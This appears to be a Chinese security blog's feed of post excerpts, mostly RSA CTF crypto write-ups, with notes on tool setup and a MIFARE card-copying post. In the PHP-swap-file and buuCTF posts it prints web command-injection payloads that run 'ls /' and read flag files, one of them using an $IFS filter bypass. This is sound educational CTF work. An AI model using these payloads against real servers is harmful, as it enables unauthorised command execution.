 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16


# [鹤城杯 2021]BabyRSA
from Crypto.Util.number import getPrime, bytes_to_long
# from secret import flag
flag = b'flag{test}'

p = getPrime(1024)
q = getPrime(1024)
n = p * q
e = 65537
hint1 = p >> 724 # msb 1024 - 724
hint2 = q % (2 ** 265) # lsb 265
ct = pow(bytes_to_long(flag), e, n)
print(hint1)
print(hint2)
print(n)
print(ct)

1
2
3
4
5


# Data
hint1 = 1514296530850131082973956029074258536069144071110652176122006763622293335057110441067910479
hint2 = 40812438243894343296354573724131194431453023461572200856406939246297219541329623
n = 21815431662065695412834116602474344081782093119269423403335882867255834302242945742413692949886248581138784199165404321893594820375775454774521554409598568793217997859258282700084148322905405227238617443766062207618899209593375881728671746850745598576485323702483634599597393910908142659231071532803602701147251570567032402848145462183405098097523810358199597631612616833723150146418889589492395974359466777040500971885443881359700735149623177757865032984744576285054725506299888069904106805731600019058631951255795316571242969336763938805465676269140733371287244624066632153110685509892188900004952700111937292221969
ct = 19073695285772829730103928222962723784199491145730661021332365516942301513989932980896145664842527253998170902799883262567366661277268801440634319694884564820420852947935710798269700777126717746701065483129644585829522353341718916661536894041337878440111845645200627940640539279744348235772441988748977191513786620459922039153862250137904894008551515928486867493608757307981955335488977402307933930592035163126858060189156114410872337004784951228340994743202032248681976932591575016798640429231399974090325134545852080425047146251781339862753527319093938929691759486362536986249207187765947926921267520150073408188188

Idea

Reference:

鹤城杯2021 Crypto Writes up

PWN入门指引

Wed, 22 May 2024 17:25:56 +0000

如果说Crypto需要强逻辑，Reverse需要沉下心，那PWN就可以简单理解为两点都需要

环境配置

Mac: - UTM - roderick师傅的Docker法 Win: Ubuntu WSL/VMware

上手，不要着急做题，先打基础：从 CS:APP 开始 (中文翻译：深入理解计算机系统翻译版电子书版本) 计算机N大黑书其一

趣题分享[2] -- ISCTF 2023 -- Signin

Mon, 22 Apr 2024 13:42:33 +0000

题目附件

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30


from Crypto.Util.number import *
from secret import flag

def genKey(nbits):
 p = getPrime(nbits)
 q = getPrime(nbits)
 
 N = p*p*q
 d = inverse(N, (p-1)*(q-1)//GCD(p-1, q-1))
 return N,d

def encrypt(message,N):
 m = bytes_to_long(flag)
 c = pow(m, N, N)
 return c

nbits = 1024
m = bytes_to_long(flag)
N,d = genKey(nbits)
c = encrypt(m,N)

print('c =', c)
print('N =', N)
print('d =', d)

"""
c = 29897791365314067508830838449733707533227957127276785142837008063510003132596050393885548439564070678838696563164574990811756434599732001622138564176327233154381380717648392357672642893142367607369679906940371540867456654151408884171467638060523066406441697453971996011548195499549200103123841556085936672833238264876038160712793697159776332101536779874757463509294968879216810485825310481778472384531442206034564488532399171243463881900578407746982324779260941957792455217641883334131366614310644607114128868153897806362954456585661855569432513785225453501792356175649676419772626548071916379318631677869452985829916084336045071072493567871623113923140668031380684940109024609167449291380675124701557542736834722898328082888430566229322840781411336263268594978558564310744076581639469210462567543585251718744340216155557606004995449505782302864725856877289388008819135023371948017425832082773421030256964953984562211638060
N = 3231913372897424708803097969843687520868057190788284975066875241636436021279559026753076528399891936983240045179193386905918743759145596242896507856007669217275515235051689758768735530529408948098860529277921046146065473333357110158008648799207873976745048714516868561754202543130629713461365314627535982379718931633528922076268531363809414255082933615667770491818402126891370106045838695484124212397783571579791558324350069782623908757815983802849109451590357380624488436968737140312471089662428308113246310588336044438265822574558816510054763215983649467009345458480077882624118620789015758507736272402998721366662352794082495441303895025585316667229865533166614969641012195668280586477033200418153345241668242651407009849656745509386158276185301334443855737552801531617549980843398648751032649895403939319648954908487619711555700124294191702406981128355348449748466449951568451135718146828444185238617155432417897711198169
d = 220908195398117048628110042133057032501548264225985823161565460390793825899523662424732910718579350524590368287207857059670558852106434615134645183432670023784725430385048028248108677670095524205518013647694485975996499747580966911259433184798952372110628624294686853944766950244209186984164963987120416687012811346656498861438432610431705868541829977481875385468143747334359481673214618931159403123892213161430602430294790913847722073762999311674428134241956293914716183107414340330449465142849402354034926378025006749405210014879947411570380433942279355488861684317611066949685697268714760755591128598654573304969
"""

思路

定义模数 $N$ 和解密指数 $d$ 之间的关系

Xcode 命令行工具管理

Fri, 12 Apr 2024 21:45:37 +0000

安装 Command Line Tools 版本

1

xcode-select --install

或者 App Store 安装 Xcode

显示当前生效的 Xcode 版本

1

xcode-select --print-path

切换至 Xcode App Store 版本

1

sudo xcode-select -s /Applications/Xcode.app/Contents/Developer

切换至 Command Line Tools 版本

1

sudo xcode-select -s /Library/Developer/CommandLineTools

配置 MitMProxy

Thu, 11 Apr 2024 16:59:33 +0000

mitmproxy文档

1

brew install mitmproxy

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18


# baidu_mitm.py
# Demo
# 导入 mitmproxy 的 http 模块
from mitmproxy import http

# 请求处理函数
def request(flow: http.HTTPFlow) -> None:
 # 检查请求的主机是否为 'baidu.com'
 if "baidu.com" in flow.request.pretty_host:
 # 打印请求的 URL
 print(f"Request URL: {flow.request.url}")

# 响应处理函数
def response(flow: http.HTTPFlow) -> None:
 # 检查请求的主机是否为 'baidu.com'
 if "baidu.com" in flow.request.pretty_host:
 # 打印响应的状态码
 print(f"Response Status: {flow.response.status_code}")

浏览器配置忽略证书错误并设置代理为 127.0.0.1:8080

在 VS Code 中优化 C++ 开发环境

Thu, 21 Mar 2024 04:35:47 +0000

VS Code 默认的智能感知配置可能不够理想，无法像 CLion 那样进行变量类型的推导。为了改进这一点，尝试使用 Clangd 扩展来增强 VS Code 中的智能感知功能。既然都配置了 Clangd，那就顺便学一手 CMake 的简单配置，即配置 C++ 编译器，并使用 CMake 来构建项目。

RSA 中 e, phi 不互素的解决方法

Fri, 02 Feb 2024 00:24:03 +0000

Reference

导言

在一般情况的RSA中，求出 $\phi(N)$ 就已经接近解出明文了。这个时候我们往往只需要通过 $ed\equiv1 \pmod {\phi (N)}$ 即可求出私钥 $d$，从而求出明文。但是要直接求逆元 $d$，需要满足 $gcd(e,\phi(N))=1$，也就是 $e$ 和 $\phi(N)$ 互质的情况。如果不满足，则会大大提高难度。

强网杯2023线上赛部分题解

Tue, 02 Jan 2024 16:56:29 +0000

Reference
- 怎么样用c语言求1000的阶乘？ - 知乎

SpeedUp

题意: 提交 'flag' + {{ $\text{SHA256}\left(\sum_{{i=0}}^{{\lfloor \log_{10} (2^{27}!) \rfloor}} \left( \left\lfloor \frac{{2^{27}!}}{{10^i}} \right\rfloor \mod 10 \right)\right)$ }} + '}'

上面这个式子让 GPT 写的 (图一乐，而且这么求 number length 慢的要死(慢过 str(number).__len__()，而实际上是可以 log 巴拉巴拉求的，忘了复杂度了，总之是可以更快，而且实际上也不用求长度，见最后的代码))

快速幂与矩阵快速幂

Sun, 31 Dec 2023 02:54:24 +0000

因为一些事情得重新拾起算法了

Reference(Aka thanks)(可能"Reference"在这里的用法不太对，欢迎提醒我来纠正)
- Wiki
  - 时间复杂度 - 维基百科，自由的百科全书
  - 快速幂 - OI Wiki
- 基础
  - [[Binary Exponentiation]]
  - [[Linear Algebra|矩阵乘法]]
- 视频
  - 509 Luogu P3390【模板】矩阵快速幂 bilibili
- 题目
  - P1226 【模板】快速幂 - 洛谷 | 计算机科学教育新生态
  - P3390 【模板】矩阵快速幂 - 洛谷 | 计算机科学教育新生态
- 讨论(想法)
  - 似乎还可以通过剪枝优化，下次()
  - 关于快速幂的名字笔者并无好感，更喜欢称其为“二进制求幂”，非常直观

把基础拿出来讲 – 矩阵乘法

矩阵乘法:

MIFARE Classic EV1 1K Crad 探索、复制、与解密

Fri, 29 Dec 2023 14:43:24 +0000

MIFARE Classic EV1 代表了 MIFARE Classic 产品系列的最高演进阶段，继承了所有以往版本的优良特性。它提供 1K 和 4K 内存版本，分别满足不同应用需求

👆🏻来自 MIFARE官网

介绍中的 1k 和 4k 为内存容量，比较常见的为 1k 版本

SageMath 对于 CTF Crypto 的使用

Thu, 21 Dec 2023 19:12:41 +0000

SageMath 版本信息

1
2
3
4
5
6
7
8
9


> sage
┌────────────────────────────────────────────────────────────────────┐
│ SageMath version 10.1.beta3, Release Date: 2023-06-11 │
│ Using Python 3.11.1. Type "help()" for help. │
└────────────────────────────────────────────────────────────────────┘
┏━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━┓
┃ Warning: this is a prerelease version, and it may be unstable. ┃
┗━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━┛
sage:

此前对 $x$ 开 $n$ 次方, 常用 pow(x, 1/n), 但对于结果不是整数时就得用 gmpy2.iroot(x, n), 而我又不喜欢使用第三方库, 现在对此问题有了以下解决方案

Sage

有锁卡贴 iPhone 配合 Apple Watch 的一些问题

Wed, 20 Dec 2023 14:45:49 +0000

进行任何操作前建议备份数据

笔者仅分享使用体验, 不为提到的工具负责

自写下这篇博客时	笔者设备的版本信息
iOS	16.4
macOS	14.1
watchOS	9.6.2

iPhone

加载 IPCC / 激活时提示

趣题分享[1] -- 2023年四川网信人才技能大赛（网络安全管理员赛项）决赛

Thu, 14 Dec 2023 21:22:38 +0000

2023年四川网信人才技能大赛（网络安全管理员赛项）决赛

题目附件

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23


from Crypto.Util.number import *
from secret import flag
from sympy import nextprime

flag=b''

r = getRandomNBitInteger(64)
p = r**5 + r**4 - r**3 + r**2 - r + 2023
q = r**5 - r**4 + r**3 - r**2 + r + 2023
p =nextprime(p)
q =nextprime(q)
n = p*q

def enc(flag, n):
 m = bytes_to_long(flag)
 return pow(m, 65537, n)

c = enc(flag, n)
print(n)
print(c)

# 25066797992811602609904442429968244207814135173233823574561146780193277243588729282392464721760638040595480284865294238118778099149754637586361909432730412493061503054820202744474632665791457
# 18808483076270941157829928736000549389727451019027515249724024369421942132354537978233676261769285858813983730966871222263698559152437016666829640339912308636169767041243411900882395764607422

Exploit

Sage

[CVE-2014-3529] Excel XXE

Thu, 30 Nov 2023 22:04:46 +0000

XXE – 外部实体注入(XML External Entity Injection)，为利用 XML 处理器的漏洞的攻击技术。XML 外部实体注入漏洞允许攻击者向应用程序注入恶意内容，并在解析 XML 时触发。

[WebSec 信息泄露] php eval 与 vim 的临时交换文件

Thu, 31 Aug 2023 15:23:14 +0000

题目提示 vim 异常退出, 于是下载 .index.php.swp 进而通过 vim -r index.php.swp 恢复出如下代码

对源码分析后的 payload : ls 根目录

1

http://124.221.34.13:50004/?cnss@30fc5b20a309996f3ab12662e3c4ac932c08db7f=$cmd%20=%20%27ls%20/%27;exec($cmd,%20$result,%20$var);var_dump($result);var_dump($var);

发现有 fl4444444g 这个可疑文件 cat flag

1

http://124.221.34.13:50004/?cnss@30fc5b20a309996f3ab12662e3c4ac932c08db7f=$cmd%20=%20%27cat%20/fl4444444g%27;exec($cmd,%20$result,%20$var);var_dump($result);var_dump($var);

LG TV 和 Mac 的显示兼容问题(开启 4k@120hz 10bit)

Thu, 27 Jul 2023 20:30:42 +0000

M1/M2 系列 MacBook 在链接 LG HDMI 电视时开启 4k-120hz-RGB 的方法:

购置一条使用 VMM6100 或 VMM7100 的 Type-C to HDMI2.1 线材

然后按照此帖子中的办法刷写 固件

接着按照此帖子的方法修改 EDID , 修改好后按照帖子中的方法载入并且开启 针对此显示器的自动应用(随便翻译的) 就好了

buuCTF WEB方向刷题(熟悉 Yakit)

Tue, 18 Jul 2023 19:11:02 +0000

[GXYCTF2019]Ping Ping Ping

思路

推测为拼接执行

$IFS$1 绕过空格, 创建 shell 变量绕过 flag 字符检测

Payload

1

/?ip=1|ls

ls 一下查看文件, 看到有两个文件, 其中一个是 flag.php, 用上面的思路 cat 一下

1

/?ip=1;a=g;cat$IFS$1fla$a.php

用 `Yakit` 传的时候记得关闭左边的强制 `https`

写给新手的 Crypto 入门&环境配置

Fri, 14 Jul 2023 13:27:32 +0000

同时发布于 https://hello-ctf.com/HC_envSet/Crypto/

前言

善于百度, 哪里不懂先去百度, 其实搜索引擎上更推荐 Bing 或是 谷歌, 百度只是要求搜索解决的统一说辞, 还有疑惑则去读 <提问的智慧>, 如果依旧不理解, 可以用从 <提问的智慧> 中学到的提问方式来请教别人.

CryptoCTF 2023

Sun, 09 Jul 2023 05:55:14 +0000

一年一度的密码盛宴, 看春哥队和 yeye5队乱杀了, 今年 r3k 也进入前十了, 还有南邮以及中科大的队都好猛, 还有不说话只做题的队友 www, 你们 tql

复现进度 … 先收集一下来自discord 的 wp 如下

RSA同模攻击

Thu, 06 Jul 2023 17:48:07 +0000

PPT(图片)地址

视频地址(38 分 40 秒)

数据生成代码(题目/Sage)

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19


from Crypto.Util.number import long_to_bytes, bytes_to_long, getPrime

flag = b'flag{xxxZOEExxx}'
m = bytes_to_long(flag)
p = getPrime(1024)
q = getPrime(1024)
n = p * q
phi = (p - 1) * (q - 1)
e1 = getPrime(30)
e2 = getPrime(20)
print(f'{e1 = }')
print(f'{e2 = }')
print(f'{n = }')
d1 = inverse_mod(e1, phi)
d2 = inverse_mod(e2, phi)
c1 = pow(m, e1, n)
c2 = pow(m, e2, n)
print(f'{c1 = }')
print(f'{c2 = }')

推导

如果 e1 与 e2 互素(不互素就先直接算 r, s, 最后开gcd(e1, e2)次根), 则用拓展欧几里得解r, s

如果 r 是负数, (r 和 s 中有一个必定是负数) 那么再用欧几里得算法计算 $c_1^{-1}$, (为什么要求逆) 有:

$$ \begin{aligned} (c_1^{-1})^{-r} \cdot c_2^s &= m \pmod{N} \\ \end{aligned} $$

证明

$$ \begin{aligned} r \cdot e1 + s \cdot e2 &= 1 \\ r \cdot e1 &\equiv 1 \pmod{e2} \\ s \cdot e2 &\equiv 1 \pmod{e1} \\ \end{aligned} $$

得出 $e_1, e_2$，接着我们计算 $m$

PWNable.kr 肥肠适合初学者

Sun, 02 Jul 2023 03:07:08 +0000

col

ssh 连上执行ls -la看看(-la参数可以浏览文件属性) cat col.c查看源文件

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31


#include <stdio.h>
#include <string.h>
unsigned long hashcode = 0x21DD09EC;
unsigned long check_password(const char* p){
	int* ip = (int*)p;
	int i;
	int res=0;
	for(i=0; i<5; i++){
		res += ip[i];
	}
	return res;
}

int main(int argc, char* argv[]){
	if(argc<2){
		printf("usage : %s [passcode]\n", argv[0]);
		return 0;
	}
	if(strlen(argv[1]) != 20){
		printf("passcode length should be 20 bytes\n");
		return 0;
	}

	if(hashcode == check_password( argv[1] )){
		system("/bin/cat flag");
		return 0;
	}
	else
		printf("wrong passcode.\n");
	return 0;
}

分析出需要执行 col 这个程序时传参, 而且参数需要20bytes长, 同时要求参数经过 check_password() 后等于 hashcode 变量

2023 UIUCCTF 部分题解 (内含busybox)

Sat, 01 Jul 2023 15:28:40 +0000

Misc

Corny Kernel

拿到题目看见有源码和一行代码，用来连远端

1

socat file:$(tty),raw,echo=0 tcp:corny-kernel.chal.uiuc.tf:1337

源码 -> `pwnymodule.c`

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28


// SPDX-License-Identifier: GPL-2.0-only

#define pr_fmt(fmt) KBUILD_MODNAME ": " fmt

#include <linux/module.h>
#include <linux/init.h>
#include <linux/kernel.h>

extern const char *flag1, *flag2;

static int __init pwny_init(void)
{
	pr_alert("%s\n", flag1);
	return 0;
}

static void __exit pwny_exit(void)
{
	pr_info("%s\n", flag2);
}

module_init(pwny_init);
module_exit(pwny_exit);

MODULE_AUTHOR("Nitya");
MODULE_DESCRIPTION("UIUCTF23");
MODULE_LICENSE("GPL");
MODULE_VERSION("0.1");

根据提示连上远端

带填充的RSA共模攻击(CooperSmith/p高位泄露)

Thu, 29 Jun 2023 21:31:23 +0000

安利大佬的博客, 讲了 coppersmith 集中玩法: 阮行止的Blog

题目蛮有意思的，共模攻击同时 `m` 被填充 `'00'` , 且 $gcd(e1, e2) != 1$

题目源码（稍作改动逻辑不变）

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39


from Crypto.Util.number import *
import gmpy2
# from secret import flag,x
x = 13 # 利用e的二进制位长推测出x的二进制位长
flag = r'DASCTF{94c8c21d08740f5da9eaa38d1f175c592692f0d1}'

FLAG = hex(bytes_to_long(bytes(flag.encode())))
print(len(FLAG))
while len(FLAG) < 2048:
 FLAG += '00'
# DEBUG
"""
FLAGa=int(FLAG,16) # 16进制转10进制
print(f'hex->{FLAGa:x}') # hex
print(len(bin(FLAGa))) # flag的二进制位长 # 填充前385 # 填充后8xxx
"""

def task(n, p, q):
 e = x * getPrime(25)
 print(e)
 pk, sk = (n, e), (inverse(e, (p-1)*(q-1)))
 # print (f"privkey = {sk}")
 print (f"pubkey = {pk}")
 assert FLAG < pk[0]
 c = pow(FLAG, pk[1], pk[0]) # c = FLAG^e mod n
 print (f"ciphertext = {c}")

p = getPrime(4096)
q = getPrime(4096)
n = p * q
task(n, p, q)
task(n, p, q)

'''
pubkey = (631704658316107316476631662851232513167305743724051186158554607216138665758651383999780489278091838560489032372900267377736237142312800325510839644655041019350454746285608148076069877827331570306531360928735706136940744879296188814218221415268468882601401290453513620058967937490229879350100210840273601673434791156967887168489949398909636232265730565157705645074778099335973868420591684971700842192135737822163092719010899899900906950920588813409920740847058646752828785385873772281705505151082567637301753513073178877382222686947884464356503084436710964721728934103667575388962027500496785366512559779503975171067515648474317451743950311102788378592650584074924518502042800806374634257689006701099537082929839880680716644107887107277545440883202850169389561038503505611543517665847099355309543791726704508828412748648083667615253805811065493087765182890641394941547224007410230582635739282572999784818993426524660322506552777173684682345617903709438634566739636646813598805189824096257101005511591646200477114782395355594700543654172045449061307743391984162366457405661384570894282509109440702579925256407640046816406501144647037050778323528329913821976003677989099891054333950811501262124243258915504259130280580230299912657442669541457718378886950829044993718306207245034570466513477929865019679408238431035969390774039176113600326758938598312905961726761447479195236692754661127098476166335245118569319315163868742823661391978080155625395638363389335880296389371811509103078703583364479544504724117424456267398768483363594014016511039412147353322943732886624729667119668931889622044935822991901046638537981486137324641851248938171721925238794095980507451649422011021294020116758658798903892915685251627983627496145518772566258707836493016012354879299011651025514693262138104102713765715302120633524663935787265638025681461758686836356777160007235880219089378478714987895528233499888588134943176336612314910896457649467880092378885848765474948336418203366356857880128284792653134100961580205274724342493185974704960927765508980506809171289317650392381155261841525346094897909282358464631129565142466841251641574182477290680783110373339041696933558390263892986185187988896102175806358089155531818651838775580994959917250173754629890300524280224596458984449283141274434578618610753309471105156475116451614745170121602666465090430931564872929117390734021763304624273646435586790080907671369751246596652914201599305562484432951782931086073027568703037735327284365677, 472554661)
ciphertext = 190987504276417030459995870118018106411927956775759012847742153271115853081408559439515500090420659778337774251322924763583703744945725548117826596107116645542242417390155411579632955292564528520440614260557243094399833823703776825260174109620647075222266930807489850145653178950535314869608224045341462372136686325390890689054405086686001100811443562979660892626976910848883193606213100173930615655868314435984441387498754642165766151061008739536079031140840087582367396856029192985567585098853421231849021423950166776436360731699210565052814347301305136231030452336673072044401519429834369139140245097717477442207591860572819484092848769895526302884706675965820142765147054286070702591314107210105634638529040955739525959665452187152373744418055109385189923937410612814332368059055442697514476224539572446022119292246216864736507911101687770449399470300111493467761898288339606268218461414713869261621265548926431739969658851060588469847933207757035870820118151506632080848622808949107266876446402143532885158806752022647196657389362551812094658375646137420717912004993731588408266942954086191081329114054376690515702418030563123621308538946327414923689799905388809280810108810572604423052944060166210108864637349960969813576226954947569269001567594538036335239515820446049796338189866087489579415290966515988794972617897613114169306902686552315662681234085741908135003796792983996537217079533422533672875702933249385450293644264481727769868049295596687776551250104869253909976864238705319499867029873108947287715051353048589899005756254898493157435715455584382285421252226592815717633100684130833535313398285854135049104416584931630961649612263799668626605766084592830857431301960508118967957132590949622478565095552894302156456587375827654576193163705593838932559456550980547713264158180558179573064749914083291869665313434519298805872794848445531668240282892429504465717077102142829322223537966050798014877242907116850396358948946563266157495445976661243015703150210392054301115412770660862765408166194109344334156035055331784788156175540722143596029916953303656978173674438529512674377683439887526966586680024643214529230521291448281299492022962381836977335458591380009655069999490948962732861301906043829089176993890552623525778739163797525576145126381504772928706462746770945831728396867697460511548895998660335284720579047966498756660763368794251021798470067833203405996009675602949792544182705941386274781263007295426151053568079918978166706088381712821903
pubkey = (631704658316107316476631662851232513167305743724051186158554607216138665758651383999780489278091838560489032372900267377736237142312800325510839644655041019350454746285608148076069877827331570306531360928735706136940744879296188814218221415268468882601401290453513620058967937490229879350100210840273601673434791156967887168489949398909636232265730565157705645074778099335973868420591684971700842192135737822163092719010899899900906950920588813409920740847058646752828785385873772281705505151082567637301753513073178877382222686947884464356503084436710964721728934103667575388962027500496785366512559779503975171067515648474317451743950311102788378592650584074924518502042800806374634257689006701099537082929839880680716644107887107277545440883202850169389561038503505611543517665847099355309543791726704508828412748648083667615253805811065493087765182890641394941547224007410230582635739282572999784818993426524660322506552777173684682345617903709438634566739636646813598805189824096257101005511591646200477114782395355594700543654172045449061307743391984162366457405661384570894282509109440702579925256407640046816406501144647037050778323528329913821976003677989099891054333950811501262124243258915504259130280580230299912657442669541457718378886950829044993718306207245034570466513477929865019679408238431035969390774039176113600326758938598312905961726761447479195236692754661127098476166335245118569319315163868742823661391978080155625395638363389335880296389371811509103078703583364479544504724117424456267398768483363594014016511039412147353322943732886624729667119668931889622044935822991901046638537981486137324641851248938171721925238794095980507451649422011021294020116758658798903892915685251627983627496145518772566258707836493016012354879299011651025514693262138104102713765715302120633524663935787265638025681461758686836356777160007235880219089378478714987895528233499888588134943176336612314910896457649467880092378885848765474948336418203366356857880128284792653134100961580205274724342493185974704960927765508980506809171289317650392381155261841525346094897909282358464631129565142466841251641574182477290680783110373339041696933558390263892986185187988896102175806358089155531818651838775580994959917250173754629890300524280224596458984449283141274434578618610753309471105156475116451614745170121602666465090430931564872929117390734021763304624273646435586790080907671369751246596652914201599305562484432951782931086073027568703037735327284365677, 512060519)
ciphertext = 118105806757364864954099740578039575095067736310062562032293775737146734292611491109686416485919016851405784908499094267565612303208935666612372955592240502275304246975609627506123058353391372656409432910534157579594786467732926369572526172564718924601625672422241852492488550283148235537506268392245305690156723219564226402432576938782454753759983137914472704648591878027847262615725429446005016635025420868133866811373289327645413411453859339757836991093908071638328453514104881336701917644665804786789489323672785875877061237766568407039151396946704985496018147569926911261898580756098479100237007941318401021279795364728719207372661460410387690657138651731327964723514386572694325652597994434813931414394101200087900718036550266207104274280840585258295937618660007576916346971377563537978904909890356241631994402505853975554712900758886256393960997065883072603649541752328064420102794034716350179526975824164679514497545031932376505630561041528122534350326851355630277189536132079819347591965123978267329957678172531541870774152820885892748994104282993783130986435408443990102761662449293721684054746590737624241714144192554974418174740935392026309752818843371184788181135723934755921015195135100434571963047279241020959200031451732709183509226119313388765957669702752972765899086633745040942547050498490884353694399849142077796452902507813258263359599139001375752871961305870647115285853030278057230051592204611282860281668566134180445475472981874013691475514350039449881223501881564079522206136571985922976022429024806580161050812111546949423979614963273484255330194797143216964745972075353014043464318808527670570025723913145381743890479373651559112882154125825193684319648524540319399295496316455910887675719072214746078300659747824900422025873021264607615059776370887811316751386521720353564213575161113649210936024834236497270467247374376806151520458934834474873512780450459065406794893079375072143242760903847107206702819919541243590083307963659134589118157841441127260628026207634262496423960483763853574351631049111656076943501743107444844944097456043724623057099318681823470304041478338060550105843257247135981311666581587388804168534632878003367114935690158903476684427898910282066938176875785040879979309200489444338815528259008540300389580292768148738299179013875917009766599802284812113802699460093538336768415249967785549217725394898178950705893233820694790774211856222175935024768782962788732209486972454385313819695038224886978798800124937584338
'''

BattleCTF Crypto&PWN 部分题解

Thu, 29 Jun 2023 02:15:17 +0000

Crypto分类下的一道Misc

1

&?g}-PN(9}P5MAm&?h7^PPOlbIq>h1&?hiR&?i)xPP!xdZ2CY{&?h.0PTrZKO-lrJ&?i*vPR*.wG5SCP&?h>4PQB/jXz<fx&?hE]PTrZKKk=*:&?hE]PT:0OQt?&1&?j0APQB/jG5SD3&?hE]PT:0OO-lrH&?i*vPR*.wM/sWz&?g[.PN#f@G5SC^&?i*vPN#f@O-lrp&?i:tPQjVhRq!e8&?i:tPN#f@WbN:H&?i2]

CyperChef上先BASE85(CyperChef会自动分析出)再解盲文，在厨子(他们都这么叫CyperChef)上盲文叫braille

最后需要把flag的壳改为battleCTF即可

Sahara 看起来很复杂但实际上只是一道简单RSA

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29


from cryptography.hazmat.primitives.asymmetric import rsa, padding
from cryptography.hazmat.primitives import serialization
from cryptography.hazmat.backends import default_backend
from base64 import b64encode, b64decode
 
FLAG = open("flag.txt").read()
 
def load_public_key():
 with open('pub.pem', 'rb') as pubf:
 pubkey = serialization.load_pem_public_key(pubf.read(), backend=default_backend())
 return pubkey
 
def encrypt(pubkey:rsa.RSAPublicKey, ptxt:str) -> str:
 enc = pubkey.encrypt(ptxt.encode(), padding.PKCS1v15())
 return b64encode(enc).decode()
 
def get_pem(key:rsa.RSAPrivateKey|rsa.RSAPublicKey):
 if isinstance(key, rsa.RSAPublicKey):
 pem = key.public_bytes(encoding=serialization.Encoding.PEM, format=serialization.PublicFormat.SubjectPublicKeyInfo)
 else:
 pem = key.private_bytes(encoding=serialization.Encoding.PEM, format=serialization.PrivateFormat.PKCS8, encryption_algorithm=serialization.NoEncryption())
 return pem
 
if __name__ == '__main__':
 pub_key = load_public_key()
 pub_key_pem = get_pem(pub_key).decode()
 enc_flag = encrypt(pub_key, FLAG)
 with open('flag.enc', 'w') as f:
 f.write(enc_flag)

exp

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12


n = 17729028558979019485846420034614601781855286885772116033115998289130663218793249135103097941406615594783564487056148202535602218241261076180277862184340050681277512936764254998557657989633659561175844653871375735119626199870178796372816549333367076487655787617921785826120525919291798195591267544750350222858119219959311035913906885739352404726672836723117136379411134589884489391116922923390687958161705756705708668649262568471831705504852664779788943978721769038284989250803324876493071615384204553854811020877754034576798208169454695001947778015807032019651748938505463608871771494765303144219873993106068807291321
e = 65537
enc = 'QrjGSaOn4vUMNLAWdKif3s0pTi3vjDupP764AqUV13FtO+0MVO5m848H1THn33Lorn5vhDOtr5x3kJBHP8lfPbgvoiw7n/FdhjjyclAlB4JLANUgLIjvurvMfFshuvsg3ljXnpNu+oVET/AgDev1hJp9CrbQ+8Axx9ki4ZRldqC/eUbzypqeun2jjKjMi98GamW6ufnZSxtJwajWLK6dHB72Dcx4sn38iHnqikRixOaUeJ6jR2yhdIYhQr4nU5tggHoxsLjnia8x4qTc4lWYAYz6vJiw1zRs0JwK//sZdEtx09c59Mj0WNrmkD8gP98f22LjHNPIxAHl3OyWY+PfcA=='
 
from gmpy2 import iroot 
from Crypto.Util.number import *
from base64 import *
p = iroot(n,2)[0] # 拿着n去factordb.com试试, 发现n=p^2, 于是直接开根号得到p
d = inverse_mod(e, p*(p-1)) # phi = p*(p-1)而不是(p-1)*(p-1) 因为???
m = pow(bytes_to_long(b64decode(enc)),d,n)
print(long_to_bytes(m)[long_to_bytes(m).find(b'battle'):])
#battleCTF{Sm4!!_RSA_k3y_in_The_Sahara}

SEA

SYCTF-2023 安洵杯 Crypto 部分题解

Wed, 28 Jun 2023 01:38:35 +0000

CrazyTreat

题目源码

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50


from Crypto.Util.number import *
from random import randint
from secret import flag

def TrickPrime(bits):
 p = getPrime(bits)
 q = getPrime(bits)
 cut = randint(1,256)
 temp = p*q
 print('clown =',temp)
 game = (p&(2**bits-1)) >>cut<<cut #p高位需要给出
 print("trick =",game)
 return p,q

def CrazyPrime(nbits):
 p = getPrime(nbits)
 q = getPrime(nbits)
 r = getPrime(nbits)
 n = p * q * r
 print("n =", n)
 m = getPrime(256)
 P = pow(m, p, n)
 Q = pow(m, q, n)
 R = pow(m, r, n)
 print("P =", P)
 print("Q =", Q)
 print("R =", R)
 return m

P,Q = TrickPrime(512)
R = CrazyPrime(512)
N =P*Q*R
phi = (P-1)*(Q-1)*(R-1)
e = 65537
d = inverse(e,phi)
m = bytes_to_long(flag)
c = pow(m,e,N)
print("c = ",c)

'''
clown = 128259792862716016839189459678072057136816726330154776961595353705839428880480571473066446384217522987161777524953373380960754160008765782711874445778198828395697797884436326877471408867745183652189648661444125231444711655242478825995283559948683891100547458186394738621410655721556196774451473359271887941209
trick = 13053422630763887754872929794631414002868675984142851995620494432706465523574529389771830464455212126838976863742628716168391373019631629866746550551576576

n = 924936528644761261915490226270682878749572154775391302241867565751616615723850084742168094776229761548826664906020127037598880909798055174894996273670320006942669796769794827782190025101253693980249267932225152093301291975335342891074711919668098647971235568200490825183676601392038486178409517985098598981313504275523679007669267428032655295176395420598988902864122270470643591017567271923728446920345242491655440745259071163984046349191793076143578695363467259
